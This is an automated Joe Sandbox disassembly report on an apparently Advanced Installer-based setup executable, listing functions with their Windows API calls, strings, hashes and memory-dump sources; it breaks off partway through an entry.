API ID: Init_thread_footer$CloseCriticalDeleteHandleHeapProcessSection
String ID: << Advanced Installer (x86) Log >>$Ls
API String ID: 3699736680-2779674016
Opcode ID: 53e209f69c6bb3e8a9ad2073df762772b7ac891fd3141fd92769f17eb2d06395
Instruction ID: b9117a990c5176b64992560f41a487dd0f47bd634e48dcdbdbe03240e5de4363
Opcode Fuzzy Hash: 53e209f69c6bb3e8a9ad2073df762772b7ac891fd3141fd92769f17eb2d06395
Instruction Fuzzy Hash: 4B61D070905645DFD700CF69C94879ABBF4FF8A314F1882ADD510EB791DB74AA08CB91

Function 00D1F650 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,40000000,00000001,00000000,00000002,00000080,00000000,E5106CA8,?,6CCF37E0,?), ref: 00D1F6B2
WriteFile.KERNEL32(00000000,?,0000C800,0000C800,00000000,?,?,0000C800), ref: 00D1F748
CloseHandle.KERNEL32(00000000,?,?,0000C800), ref: 00D1F7BC

Strings

Ls, xrefs: 00D1F6BF

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: Ls
API String ID: 1065093856-1452845052
Opcode ID: f7465765554db767f5dfbc8682f25896b4170d3fdcae041e5ceaa1574882b159
Instruction ID: 9c4792000a36b0af38d052b6e8c4e78be67595000418ef1a9aa8a2acca48892c
Opcode Fuzzy Hash: f7465765554db767f5dfbc8682f25896b4170d3fdcae041e5ceaa1574882b159
Instruction Fuzzy Hash: D0515A71900208AFDF14DFA5DD45BEEBBB9FF48314F24826AE400B7290DB755A44CB64

Function 00BD50A0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 124stringCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(?,?,00000020), ref: 00BD518B
MulDiv.KERNEL32(?,00000048,00000000), ref: 00BD51C8

Strings

t, xrefs: 00BD51D6
?, xrefs: 00BD51CE

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: lstrcpyn
String ID: ?$t
API String ID: 97706510-1995845436
Opcode ID: 7e52e2ac57f4017331c4730188245344d3b75ba02a84055ca25d85991dcbf538
Instruction ID: a210eb1e1684683b4dc2c1b2700301ff3bd663ae7a086e502c4cfd5246f2fe56
Opcode Fuzzy Hash: 7e52e2ac57f4017331c4730188245344d3b75ba02a84055ca25d85991dcbf538
Instruction Fuzzy Hash: 9F514C71508740AFE721DF61DC49B9BBBE8EB48701F00492EF699E6291E774A508CB62

Function 00BB0EF0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 78libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(combase.dll,RoOriginateLanguageException,?,?,?,?,00DA9680,000000FF), ref: 00BB0F32
GetProcAddress.KERNEL32(00000000,combase.dll), ref: 00BB0F38

Strings

RoOriginateLanguageException, xrefs: 00BB0F28
combase.dll, xrefs: 00BB0F2D

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RoOriginateLanguageException$combase.dll
API String ID: 2574300362-3996158991
Opcode ID: bb0046b01194f45989ad11c66adb1cb23633d454a228b8b44353d6b6dc9d5ae8
Instruction ID: 4e8fd1e35b9bd316a1986826290dd36403ea9051864cc1cb0d95b6b3b8491259
Opcode Fuzzy Hash: bb0046b01194f45989ad11c66adb1cb23633d454a228b8b44353d6b6dc9d5ae8
Instruction Fuzzy Hash: 9B315071914209DFDB20EFA8C855BFEB7F4EB15310F104A69E825B32D1DBB49A44CBA1

Function 00BB9DD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00EA699C), ref: 00BB9E0C
GetCurrentThreadId.KERNEL32 ref: 00BB9E20
LeaveCriticalSection.KERNEL32(00EA699C), ref: 00BB9E5F

Strings

v, xrefs: 00BB9E5F

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread
String ID: v
API String ID: 2351996187-3261393531
Opcode ID: e39c3967ef695b664d224470de08bd193ce0a7cd2e4771a9ec7190588b8cae54
Instruction ID: 8f1636963db1126f160c2bd3395035903c06df1da83634ede9dec6e5dda58cfd
Opcode Fuzzy Hash: e39c3967ef695b664d224470de08bd193ce0a7cd2e4771a9ec7190588b8cae54
Instruction Fuzzy Hash: CE11B231A05244DFCB20CF69D80476ABBE4EB9AB20F14879ED915A7390D7B1A808C790

Function 00D84AFC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,00D84AAD,?,?,00000000,?,?,?,00D84BD7,00000002,FlsGetValue,00E0DF18,FlsGetValue), ref: 00D84B09
GetLastError.KERNEL32(?,00D84AAD,?,?,00000000,?,?,?,00D84BD7,00000002,FlsGetValue,00E0DF18,FlsGetValue,?,?,00D819F4), ref: 00D84B13
LoadLibraryExW.KERNEL32(?,00000000,00000000), ref: 00D84B3B

Strings

api-ms-, xrefs: 00D84B20

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 31d4a1a447a0f10d97898fcc5f33853666b8b138a9eef30f5074d1fabacbef1f
Instruction ID: 2eaf912b7e141d752f3456687ab34b623920b34985013011a8648164ec5a6f82
Opcode Fuzzy Hash: 31d4a1a447a0f10d97898fcc5f33853666b8b138a9eef30f5074d1fabacbef1f
Instruction Fuzzy Hash: C4E04831740205FBEB103B91EC06F297B58AB00B50F244021FA0CF90E0E772E995C794

Function 00BB6480 Relevance: 6.3, APIs: 4, Instructions: 269memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(00000000,?), ref: 00BB654A
SysFreeString.OLEAUT32(00000000), ref: 00BB6596
SysFreeString.OLEAUT32(00000000), ref: 00BB65B8
SysFreeString.OLEAUT32(00000000), ref: 00BB6713

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 5e44871ecf4715c42af7f4789838c4d4a0b698b30fbece97b3a9ff7bac3675b0
Instruction ID: efd5f52a09ad7c071714711a8a15b7130d5171571d131b65306e507d973cfd79
Opcode Fuzzy Hash: 5e44871ecf4715c42af7f4789838c4d4a0b698b30fbece97b3a9ff7bac3675b0
Instruction Fuzzy Hash: D9A14F71A002099FDB25DFA9C944BFEB7F8EF44714F108159E915E7280EBB8AE05CB61

Function 00BC4650 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(E5106CA8,E5106CA8,?), ref: 00BC468F
EnterCriticalSection.KERNEL32(?,E5106CA8,?), ref: 00BC469C
LeaveCriticalSection.KERNEL32(?,?,00000000,?), ref: 00BC4773

Strings

v, xrefs: 00BC4773

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID: v
API String ID: 3991485460-3261393531
Opcode ID: fc72d4d099ab6550ab9edfb9b2b43ac05147d0e845b19f2e533c473a430a5b3e
Instruction ID: 7cb78d617386937db14018eedaca8f0dc8b94d6c4a17145f4cb027056ad463b6
Opcode Fuzzy Hash: fc72d4d099ab6550ab9edfb9b2b43ac05147d0e845b19f2e533c473a430a5b3e
Instruction Fuzzy Hash: DC41C2342007418FDB11DF28D954BAABBF5EF56310F2046AEE596E7391CB31AE15CB90

Function 00BC4480 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,E5106CA8), ref: 00BC44EA
EnterCriticalSection.KERNEL32(?,E5106CA8), ref: 00BC44F7
LeaveCriticalSection.KERNEL32(?), ref: 00BC4548

Strings

v, xrefs: 00BC4548

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID: v
API String ID: 3991485460-3261393531
Opcode ID: ce9ff3c58b8744f9667e351b26f58bfbc7ceedc57e4bbbe5da93ec77dea5f1b3
Instruction ID: 2cc2cbfa325923c03c328966e7cb6eec0cc891e3e6c8b5ba03663d615326cddf
Opcode Fuzzy Hash: ce9ff3c58b8744f9667e351b26f58bfbc7ceedc57e4bbbe5da93ec77dea5f1b3
Instruction Fuzzy Hash: 9021A636900244DFDF11CF64D844BA97BB4FB16324F2402AAE859AB396D7325A49CB60

Function 00BC4570 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,E5106CA8), ref: 00BC45DA
EnterCriticalSection.KERNEL32(?,E5106CA8), ref: 00BC45E7
LeaveCriticalSection.KERNEL32(?), ref: 00BC462E

Strings

v, xrefs: 00BC462E

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID: v
API String ID: 3991485460-3261393531
Opcode ID: 13a0b7b33198783eb4b40f480e42cbd2b85f5a075bcbbd214a3dc7f233e79d70
Instruction ID: c14cb5f8b105733ef2822bae78fbc66579d35e0b4ae0b01e617b4f3ee149995f
Opcode Fuzzy Hash: 13a0b7b33198783eb4b40f480e42cbd2b85f5a075bcbbd214a3dc7f233e79d70
Instruction Fuzzy Hash: 1821C435900244DFDF11CF64DC44B99BBB4FF16724F2006AAEC55AB292D7329A49CBA0

Function 00BC43C0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,E5106CA8,?), ref: 00BC441D
EnterCriticalSection.KERNEL32(?,E5106CA8,?), ref: 00BC442A
LeaveCriticalSection.KERNEL32(?), ref: 00BC4452

Strings

v, xrefs: 00BC4452

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID: v
API String ID: 3991485460-3261393531
Opcode ID: 3424bd533d3463be52578b278525226032f229a05ec8deadcfe3423a4ecede42
Instruction ID: e77f731a81b8e9ff744d0097b26d0f3713bc021d429e776a752dcd7535be93fd
Opcode Fuzzy Hash: 3424bd533d3463be52578b278525226032f229a05ec8deadcfe3423a4ecede42
Instruction Fuzzy Hash: 6921E936D04244DFDF05CF64D850BE9BBB4EB56324F2043ADD855A7392C7325A49CBA0

Function 00D7DB49 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D7DB50
std::_Lockit::_Lockit.LIBCPMT ref: 00D7DB5B
std::_Lockit::~_Lockit.LIBCPMT ref: 00D7DBC9

Part of subcall function 00D7DCAB: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00D7DCC3

std::locale::_Setgloballocale.LIBCPMT ref: 00D7DB76

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_Setgloballocale
String ID:
API String ID: 677527491-0
Opcode ID: d7b80bd11d3c56be06c14d73a40700048800cc8670e53615a98b93b216a06df7
Instruction ID: 5bd197c05396813ac1fd7007559bac95732d8962b36610ea17c3fa0a46ab5d6e
Opcode Fuzzy Hash: d7b80bd11d3c56be06c14d73a40700048800cc8670e53615a98b93b216a06df7
Instruction Fuzzy Hash: 71019A366002249FC706FB60D88597CBB72EF84340B28801AE805B7391DF746E86CBE5

Function 00CC6150 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 330COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00CC6381

Strings

iostream, xrefs: 00CC6560
ios_base::failbit set, xrefs: 00CC6462

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: ___std_exception_copy
String ID: ios_base::failbit set$iostream
API String ID: 2659868963-302468714
Opcode ID: c25f8b66e61d4c63b0c41c0a7f561b18bec19793a320644ae19bcb886ed1c0f1
Instruction ID: e19ca70326a89a44f19dfae27207eaec9d8bc001f176ee1ff27757c04c7013fb
Opcode Fuzzy Hash: c25f8b66e61d4c63b0c41c0a7f561b18bec19793a320644ae19bcb886ed1c0f1
Instruction Fuzzy Hash: 35D1CE71D00248DFDB14DFA8C985BAEFBB5EF49310F24826DE815AB381E7745A44CBA1

Function 00BB8400 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 194COMMON

Download Yara Rule

Strings

:, xrefs: 00BB84BA
{, xrefs: 00BB8530

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID:
String ID: :${
API String ID: 0-3766677574
Opcode ID: 11a78f0e98aa45d5334c5bce5e5f6a449a32b2af1cfcd01e380ddb108dd02b0f
Instruction ID: a7f19bccd971bf43672cde2e9f2a6dfa63588c38322cf3fd471d6dd09a9c1a11
Opcode Fuzzy Hash: 11a78f0e98aa45d5334c5bce5e5f6a449a32b2af1cfcd01e380ddb108dd02b0f
Instruction Fuzzy Hash: 8661B274A002169BCF299F54C894BFDB7F8EB09714F1444AAE902FB281EBB5DD40CB60

Function 00D93E6D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMONLIBRARYCODE

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00D93EFD

Strings

pow, xrefs: 00D93ED5, 00D93EF2

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 874f693169cccc1b6ef5ffa0ca1f87f15d5a8a84742be531d644787027131b77
Instruction ID: 84a03ab6538519312d352eb6fe1c99126d8e626fc71fb37164bea0ec111e0e17
Opcode Fuzzy Hash: 874f693169cccc1b6ef5ffa0ca1f87f15d5a8a84742be531d644787027131b77
Instruction Fuzzy Hash: 9F517971E082029ACF117F18C9013BA3BA1DF50740F388D99F4D5862E9EB358D999A76

Function 00CBD230 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 160COMMON

Download Yara Rule

APIs

PathIsUNCW.SHLWAPI(?,E5106CA8), ref: 00CBD2D1

Strings

\\?\UNC\, xrefs: 00CBD2F8, 00CBD359
\\?\, xrefs: 00CBD3CE, 00CBD3F9

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: Path
String ID: \\?\$\\?\UNC\
API String ID: 2875597873-3019864461
Opcode ID: bd74ab427833c63857a7c70c3c72800a2a3c80068182601d87c4bdd7aa23f956
Instruction ID: 1a22a09711995a66ac0981e0da6cb98fe45323872d3c88fbbb9e7040376bfb41
Opcode Fuzzy Hash: bd74ab427833c63857a7c70c3c72800a2a3c80068182601d87c4bdd7aa23f956
Instruction Fuzzy Hash: F451E370D046049BDB14DF68C885BEEB7F5FF95304F10861DE81267281EBB56949CBE1

Function 00D22750 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 151COMMON

Download Yara Rule

APIs

OpenEventW.KERNEL32(00000000,00000000,E5106CA8,_pbl_evt,00000008,?,?,00E2FC80,00000001,E5106CA8,00000000), ref: 00D227FE
CreateEventW.KERNEL32(00000000,00000001,00000001,?), ref: 00D2281B

Strings

_pbl_evt, xrefs: 00D227D2

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: Event$CreateOpen
String ID: _pbl_evt
API String ID: 2335040897-4023232351
Opcode ID: 1d3f830ea85a595cbb53d48b06adf727770f6a0bb01b13e72c6dfc7259f5c174
Instruction ID: d9b6527cb4b79d9f9d64e806d737694702ec274a464c669708175f597479b2f0
Opcode Fuzzy Hash: 1d3f830ea85a595cbb53d48b06adf727770f6a0bb01b13e72c6dfc7259f5c174
Instruction Fuzzy Hash: A751A371D04618EFDB10DFA8DC86BAEB7B4FB14714F108269F915B7680DB746A04CBA1

Function 00CD4380 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 110windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32(000013FF,00000000,?,00000000,00000000,00000000,00000000,E5106CA8,00E2F008), ref: 00CD43EC
LocalFree.KERNEL32(00000000,00000000,-00000002), ref: 00CD44E3

Part of subcall function 00CC0520: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00CC05F5

Strings

Failed to get Windows error message [win32 error 0x, xrefs: 00CD440A

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
